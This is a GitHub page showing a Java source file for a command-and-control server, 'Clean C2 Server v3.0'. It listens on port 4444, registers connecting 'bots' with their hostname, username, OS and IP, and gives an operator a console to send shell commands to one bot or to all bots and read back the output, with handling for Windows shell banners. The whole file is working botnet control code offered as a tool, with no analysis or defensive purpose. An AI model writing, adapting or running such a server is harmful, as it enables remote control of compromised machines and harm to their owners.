-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathFullC2Server_Clean.java
More file actions
235 lines (219 loc) · 8.52 KB
/
Copy pathFullC2Server_Clean.java
File metadata and controls
235 lines (219 loc) · 8.52 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
// FullC2Server_Clean.java
import java.io.*;
import java.net.*;
import java.nio.charset.Charset;
import java.util.*;
import java.util.concurrent.*;
public class FullC2Server_Clean {
private static final int PORT = 4444;
private static final Map<String, BotSession> bots = new ConcurrentHashMap<>();
private static final ExecutorService pool = Executors.newCachedThreadPool();
private static volatile boolean running = true;
// Windows-1251 for Cyrillic, fallback to UTF-8
private static final Charset WIN_CHARSET;
static {
Charset cs;
try {
cs = Charset.forName("windows-1251");
} catch (Exception e) {
cs = Charset.forName("UTF-8");
}
WIN_CHARSET = cs;
}
static class BotSession {
String id;
Socket socket;
PrintWriter out;
BufferedReader in;
boolean firstRead = true; // skip banner
String hostname = "unknown";
String username = "unknown";
String osInfo = "unknown";
String javaVersion = "unknown";
String botIp = "unknown";
BotSession(Socket socket) throws IOException {
this.id = UUID.randomUUID().toString().substring(0, 8);
this.socket = socket;
this.out = new PrintWriter(socket.getOutputStream(), true);
this.in = new BufferedReader(new InputStreamReader(socket.getInputStream(), WIN_CHARSET));
this.readBotInfo();
bots.put(id, this);
}
private void readBotInfo() {
try {
socket.setSoTimeout(5000);
String line = in.readLine();
if (line != null && line.startsWith("@@BOT@@|")) {
String[] parts = line.split("\\|", 6);
if (parts.length >= 6) {
hostname = parts[1];
username = parts[2];
osInfo = parts[3];
javaVersion = parts[4];
botIp = parts[5];
}
}
} catch (Exception ignored) {
try {
botIp = socket.getInetAddress().getHostAddress();
} catch (Exception ex) {
botIp = "unknown";
}
} finally {
try { socket.setSoTimeout(0); } catch (Exception ignored) {}
}
}
String getLabel() {
return hostname + " / " + username + " / " + osInfo + " / " + botIp;
}
// Send command (no auto-read)
void send(String cmd) {
out.println(cmd);
out.flush();
}
String readOutput() {
return readOutput(3000);
}
String readOutput(int timeoutMs) {
StringBuilder sb = new StringBuilder();
try {
socket.setSoTimeout(timeoutMs);
String line;
boolean first = true;
while ((line = in.readLine()) != null) {
// Skip the shell banner on first read
if (firstRead) {
if (line.contains("Microsoft Windows") || line.contains("(c)") || line.isEmpty()) {
continue;
}
firstRead = false;
}
sb.append(line).append("\n");
}
} catch (SocketTimeoutException e) {
// normal — no more data
} catch (IOException e) {
// connection error
} finally {
try { socket.setSoTimeout(0); } catch (Exception ignored) {}
}
return sb.toString().trim();
}
void close() {
try { socket.close(); } catch (IOException e) {}
bots.remove(id);
}
}
public static void main(String[] args) throws IOException {
System.out.println("[C2] Clean C2 Server v3.0 on port " + PORT);
System.out.println("[C2] Encoding: " + WIN_CHARSET.displayName());
try (ServerSocket server = new ServerSocket(PORT)) {
// Acceptor
new Thread(() -> {
while (running) {
try {
Socket client = server.accept();
BotSession bot = new BotSession(client);
System.out.println("[+] Bot " + bot.id + " " + bot.getLabel());
pool.submit(() -> handleBot(bot));
} catch (IOException e) {
if (running) e.printStackTrace();
}
}
}).start();
// CLI
BufferedReader console = new BufferedReader(new InputStreamReader(System.in));
while (running) {
System.out.print("C2> ");
String line = console.readLine();
if (line == null) break;
processCommand(line.trim());
}
} finally {
pool.shutdownNow();
bots.values().forEach(BotSession::close);
System.out.println("C2 shutdown.");
}
}
private static void processCommand(String line) {
if (line.isEmpty()) return;
String[] parts = line.split(" ", 3);
String cmd = parts[0].toLowerCase();
switch (cmd) {
case "help":
System.out.println("Commands: list, shell <id> <cmd>, exec <id|all> <cmd>, read <id>, exit");
break;
case "list":
System.out.println("Active bots: " + bots.size());
for (BotSession bot : bots.values()) {
System.out.println(" " + bot.id + " " + bot.getLabel());
}
break;
case "shell":
if (parts.length < 3) {
System.out.println("Usage: shell <id> <command>");
return;
}
BotSession shellBot = bots.get(parts[1]);
if (shellBot != null) {
shellBot.send(parts[2]);
String shellOut = shellBot.readOutput(5000);
System.out.println(shellOut.isEmpty() ? "[*] No output" : shellOut);
} else {
System.out.println("Bot not found.");
}
break;
case "exec":
if (parts.length < 3) {
System.out.println("Usage: exec <id|all> <command>");
return;
}
String target = parts[1];
String command = parts[2];
if (target.equals("all")) {
for (BotSession b : bots.values()) {
b.send(command);
}
System.out.println("[*] Command sent to all bots. Use 'read <id>' to see output.");
} else {
BotSession b = bots.get(target);
if (b != null) {
b.send(command);
System.out.println("[*] Command sent. Use 'read " + target + "' to get output.");
} else {
System.out.println("Bot not found.");
}
}
break;
case "read":
if (parts.length < 2) {
System.out.println("Usage: read <id>");
return;
}
BotSession b = bots.get(parts[1]);
if (b != null) {
String out = b.readOutput();
System.out.println(out.isEmpty() ? "[*] No output (or command not finished)" : out);
} else {
System.out.println("Bot not found.");
}
break;
case "exit":
running = false;
break;
default:
System.out.println("Unknown. Try help.");
}
}
private static void handleBot(BotSession bot) {
try {
while (running) {
// Just keep connection alive — no unsolicited reads
Thread.sleep(500);
}
} catch (InterruptedException ignored) {
} finally {
bot.close();
}
}
}